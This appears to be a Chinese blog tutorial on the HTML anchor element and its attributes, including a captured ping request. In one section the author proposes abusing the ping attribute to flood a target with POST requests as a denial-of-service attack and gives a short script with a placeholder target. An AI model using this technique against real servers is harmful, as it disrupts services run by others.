<a>:锚元素

1 阅读2分钟

定义

<a>  元素(或称元素)可以通过它的 href 属性创建通向其他网页、文件、电子邮件地址、同一页面内的位置或任何其他 URL 的超链接。

属性

download

把对应的URL视为可下载资源。如果download指定了值,download中的值为被视为下载资源的filename。如果download没有指定值,浏览器会依次从HTTP标头、URL路径的最后一段、媒体类型来确定下载资源的名字及拓展名。

href

超链接所指向的URL。

  • 使用文档片段链接到页面的某一段
  • 使用文本片段链接到某一段文字
  • 使用媒体片段链接到某个媒体文件
  • 使用 tel: URL 链接到一个电话号码
  • 使用 mailto: URL 链接到一个邮箱地址

ping

包含一个以空格分隔的URL列表,当跟随超链接时,浏览器会发送带有正文的PING的POST请求

示列

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta http-equiv="X-UA-Compatible" content="ie=edge" />
    <title>Document</title>
  </head>
  <body>
    <a href="//juejin.cn" ping="//127.0.0.1:3000">cn.bing.com</a>
  </body>
</html>

请求头:ping-from请求头表示源网页的 URL,ping-to请求头表示目标网页的 URL

{
  "host": "127.0.0.1:3000",
  "connection": "keep-alive",
  "content-length": "4",
  "ping-from": "http://127.0.0.1:8080/",
  "origin": "http://127.0.0.1:8080",
  "cache-control": "max-age=0",
  "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36",
  "ping-to": "http://juejin.cn/",
  "content-type": "text/ping",
  "accept": "*/*",
  "accept-encoding": "gzip, deflate, br",
  "accept-language": "en-US,en;q=0.9"
}

其他 利用PING发送POST的请求,我们可以使用循环使之不停的向一个地址追加POST请求,造成DOS攻击

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PING</title>
</head>

<body>
    <script>

        var link = document.createElement('a');

        link.href = "";

        link.ping = '需要攻击的地址';

        document.head.appendChild(link);

        link.click();

    </script>
</body>

</html>

rel

指定目标对象到链接对象的关系

target

指定如何展示链接的内容

  • _self: 当前页面加载
  • _blank: 在浏览器新的标签页打开
  • _parent: 在浏览器的父级浏览窗口打开,如果没有,就在当前页面打开
  • _top: 在浏览器的顶级浏览窗口打开,如果没有,就在当前页面打开

type

指定在一个 MIME 类型链接目标的形式的媒体类型